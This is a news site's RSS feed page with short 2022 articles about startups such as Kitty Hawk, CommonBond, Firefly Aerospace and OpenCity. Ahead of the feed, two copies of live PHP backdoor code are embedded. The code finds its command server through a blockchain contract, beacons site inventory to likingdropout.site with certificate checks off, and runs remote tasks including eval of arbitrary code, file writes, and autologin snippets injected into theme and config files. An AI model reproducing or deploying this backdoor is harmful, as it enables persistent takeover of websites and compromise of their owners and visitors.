// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); startup – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 21 Sep 2022 22:11:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png startup – Brief News https://briefnews.eu 32 32 Larry Page’s Kitty Hawk air taxi startup is shutting down https://briefnews.eu/larry-pages-kitty-hawk-air-taxi-startup-is-shutting-down/ https://briefnews.eu/larry-pages-kitty-hawk-air-taxi-startup-is-shutting-down/#respond Wed, 21 Sep 2022 22:11:34 +0000 https://briefnews.eu/larry-pages-kitty-hawk-air-taxi-startup-is-shutting-down/ After more than a decade of trying to make flying cars a reality, Kitty Hawk is shutting down. “We’re still working on the details of what’s next,” the Larry Page-backed startup posted to LinkedIn on Wednesday afternoon. Before today’s announcement, the last time we heard from Kitty Hawk was in the spring of 2021 when it came out the company had parted ways with engineer Damon Vander Lind following “months” of infighting with Page and CEO Sebastian Thrun. Almost exactly a year earlier, the company canceled its original Flyer project and laid off most of the 70-person team that had worked on the aircraft.

It’s unclear why Kitty Hawk decided to call it quits, but comments Thrun made after the company ended development on Flyer may provide a clue. “No matter how hard we looked, we could not find a path to a viable business,” the chief executive said at the time. After Vander Lind’s departure the following year, it appeared Kitty Hawk was ready to double down on its Heavyside vertical take-off and landing aircraft. It acquired 3D Robotics and brought on the company’s co-founder, former Wired editor Chris Anderson, as chief operating officer.

Despite the demise of Kitty Hawk, this probably isn’t the last we’ll hear of Larry Page’s flying car ambitions. According to CNBC, Wednesday’s shutdown won’t affect Wisk Aero, the company that was borne out of a 2019 partnership between Kitty Hawk and Boeing.

“Kitty Hawk’s decision to cease operations does not change Boeing’s commitment to Wisk. We are proud to be a founding member of Wisk Aero and are excited to see the work they are doing to drive innovation and sustainability through the future of electric air travel,” Boeing told the outlet. “We do not expect Kitty Hawk’s announcement to affect Wisk’s operations or other activities in any way.”

]]> https://briefnews.eu/larry-pages-kitty-hawk-air-taxi-startup-is-shutting-down/feed/ 0 Student loan startup CommonBond is quietly winding down operations after the pandemic’s interest and payment pause massively hit its core business https://briefnews.eu/student-loan-startup-commonbond-is-quietly-winding-down-operations-after-the-pandemics-interest-and-payment-pause-massively-hit-its-core-business/ https://briefnews.eu/student-loan-startup-commonbond-is-quietly-winding-down-operations-after-the-pandemics-interest-and-payment-pause-massively-hit-its-core-business/#respond Wed, 14 Sep 2022 20:13:37 +0000 https://briefnews.eu/student-loan-startup-commonbond-is-quietly-winding-down-operations-after-the-pandemics-interest-and-payment-pause-massively-hit-its-core-business/ CommonBond CEO David Klein
CommonBond cofounder and CEO David Klein.

CommonBond

  • CommonBond's refinancing business took a massive hit amid the pandemic's interest and payment pause.
  • It effectively exited the business in June and pivoted to loans for residential solar panels. 
  • The company's CEO David Klein announced the decision in a LinkedIn post.

Student loan lending company CommonBond quietly announced it will be "winding down" its operations after its core businesses saw a hit during the pandemic. 

CommonBond cofounder and CEO David Klein said in a LinkedIn post that despite shifting to focus on residential solar panel loans, the impact of the student loan payment pause made it hard to continue the business. 

"The story of what has led us to this point starts with Covid," Klein said. "When the pandemic hit, our Student business took a hit. Half of the Refinance market went away as the government paused interest and payments for all federal student holders. More than two years later, that policy is still in place."

CommonBond launched in 2012 to help originate student loans at lower rates and offered refinancing services. 

But during the pandemic, the US government paused federal student loan repayments, a move that was extended until President Joe Biden approved a plan to cancel up to $ 20,000 in student loans in early September. 

In June this year, CommonBond officially announced it would formally expand into lending for people who want to buy and install solar panels on their homes. It began offering loans for solar panels in the third quarter of 2021 and, by 2022, was on pace to lend $ 1 billion to customers. At the time, the company said it was a logical step for them as many of its student loan customers buy a house within a few years of refinancing with CommonBond, and there is strong interest in helping curb climate change. 

Klein said in his LinkedIn post the solar lending business "is where we were growing quickly," but ultimately, CommonBond's solar financing model was still scaling up and needed to access new capital. 

"Unfortunately, we couldn't pivot the entirety of the business fast enough," he said.

CommonBond did not respond to a request for comment.

Are you a CommonBond insider? Have a tip? Contact Emilia David by phone or Google Voice at 347-841-6752 , email at edavid@insider.com, or on Twitter at @miyadavid. 

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]]> https://briefnews.eu/student-loan-startup-commonbond-is-quietly-winding-down-operations-after-the-pandemics-interest-and-payment-pause-massively-hit-its-core-business/feed/ 0 How to watch rocket startup Firefly Aeropspace’s second attempt to reach orbit https://briefnews.eu/how-to-watch-rocket-startup-firefly-aeropspaces-second-attempt-to-reach-orbit/ https://briefnews.eu/how-to-watch-rocket-startup-firefly-aeropspaces-second-attempt-to-reach-orbit/#respond Sun, 11 Sep 2022 18:51:53 +0000 https://briefnews.eu/how-to-watch-rocket-startup-firefly-aeropspaces-second-attempt-to-reach-orbit/ Rocket startup Firefly Aerospace will attempt to reach orbit for the first time in a launch tonight, Sunday, September 11. This will be the second attempt at launching its Alpha rocket, after a previous attempt around this time last year came to a dramatic end. Firefly will be hoping for a better outcome this time around, and if you’d like to watch the launch attempt then we’ve got the details on the livestream of the launch below.

What to expect from the launch

The launch is to take place from Firefly’s launch site (SLC-2) at Vandenberg Space Force Base. The aim of the mission, named Alpha Flight 2, is to deliver satellites into low-Earth orbit. These include payloads that are re-creations of the payloads which were lost in the first launch attempt in September last year.

The payloads included in the mission include a three-unit CubeSat called Serenity from the group Teachers in Space, which carries a suite of sensors and a camera pointed at Earth and is designed for educational purposes. The NASA TechEdSat-15 is another three-unit CubeSat which is a test of an exo-brake device designed to use the drag of Earth’s atmosphere to slow and direct satellites. And the PicoBus is a deployer that will deliver eight tiny satellites, called picosatellites, to test an open source approach to telecommunications constellations.

The intention is to deploy the payloads around one hour after liftoff. The Alpha rocket carrying the payloads is almost 100 feet tall and is 71 inches in diameter, and is made from a lightweight carbon fiber composite.

How to watch the launch

Firefly will be livestreaming the launch attempt with its partner, Everyday Astronaut. The livestream is scheduled to begin at 5 p.m. ET (2 p.m. PT) on Sunday, September 11, with the launch itself scheduled for 6 p.m. ET (3 p.m. PT). The link to the livestream will be available on Firefly’s website, or you can go directly to Everyday Astronaut’s page about the mission.

]]> https://briefnews.eu/how-to-watch-rocket-startup-firefly-aeropspaces-second-attempt-to-reach-orbit/feed/ 0 This food tech startup is helping brands like Panera Bread and Popeyes boost drive-thru sales with a voice bot named Tori https://briefnews.eu/this-food-tech-startup-is-helping-brands-like-panera-bread-and-popeyes-boost-drive-thru-sales-with-a-voice-bot-named-tori/ https://briefnews.eu/this-food-tech-startup-is-helping-brands-like-panera-bread-and-popeyes-boost-drive-thru-sales-with-a-voice-bot-named-tori/#respond Tue, 06 Sep 2022 02:17:52 +0000 https://briefnews.eu/this-food-tech-startup-is-helping-brands-like-panera-bread-and-popeyes-boost-drive-thru-sales-with-a-voice-bot-named-tori/ Panera Bread
Panera Bread is testing AI-powered bots at the drive-thru.

Panera Bread

  • Panera Bread is known as a restaurant pioneer when it comes to technology.
  • The chain is working with tech startup OpenCity to test voice bot ordering at the drive-thru.
  • OpenCity, which also works with Popeyes, says AI-powered bots can improve accuracy and speed. 

In 2019, Nick Belsito, CEO of food tech startup OpenCity, said many restaurant operators' eyes would glaze over when he talked about his company's artificial intelligence software at food conferences.

Before the pandemic, OpenCity used voice AI technology to automate restaurant reservation orders. 

"When I mentioned A.I. before the pandemic, people looked at me like I was E.T. What is this other-worldly thing?" Belsito said.

With indoor dining shut down at the onset of the 2020 pandemic, the need for reservations went kaput while delivery and drive-thru orders surged. So Belsito shifted OpenCity's business model. 

The startup now automates orders at the drive-thru using an AI-powered bot named Tori.  

The adoption of Tori is picking up steam for the Boston-based startup. Last week, fast-casual giant Panera Bread began testing OpenCity's AI-powered tech at two upstate New York restaurants. Panera joins a Popeyes' franchise restaurant in Louisiana, which started piloting Tori in late April. 

Belsito said OpenCity is taking advantage of a "unique" space with room to improve order accuracy and sales at the drive-thru, where sales represent about 75% of revenue for fast–food restaurants.

"This is core technology that's going to be vital to the future of restaurants," he said.

The owner of the Popeyes restaurant in Louisiana, David Damato, said his company, High Noon Restaurant Group, has seen good results, so far. Speed of service has increased by 20% and order accuracy is at nearly 100%.

The restaurant's drink sales have increased by 150% because Tori automatically upsells high-margin items such as soda fountain drinks, sides, and desserts.

Those stats captured the attention of Panera Bread.

Raj Anbalagan, senior vice president of digital and technology innovation, said Panera is hoping automation will elevate the guest experience by improving accuracy and speed at the drive-thru lane.

"There are a multitude of ways you can do it. And this was one of the ways that we felt that we could test to see if there is a true unlock," Anbalagan told Insider in a recent interview. 

Anbalagan has been pushing innovation for years at Panera. He helped the brand launch digital ordering at the chain in 2014 by adding kiosks in the dining room and mobile orders scheduled through the chain's app. 

Panera is known for building its tech stack in-house.

Still, for this experiment, Anbalagan said it was better to leverage OpenCity's tech "rather than investing and building on our own for the time being," he told Insider. 

Specifically, Anbalagan said he was looking to gain a 5-10% improvement in speed of service using Tori.

He also hopes the experiential aspect of Tori will "delight our guest," he said.

Damato reinforced that Tori has been a "true game-changer" for the restaurant. 

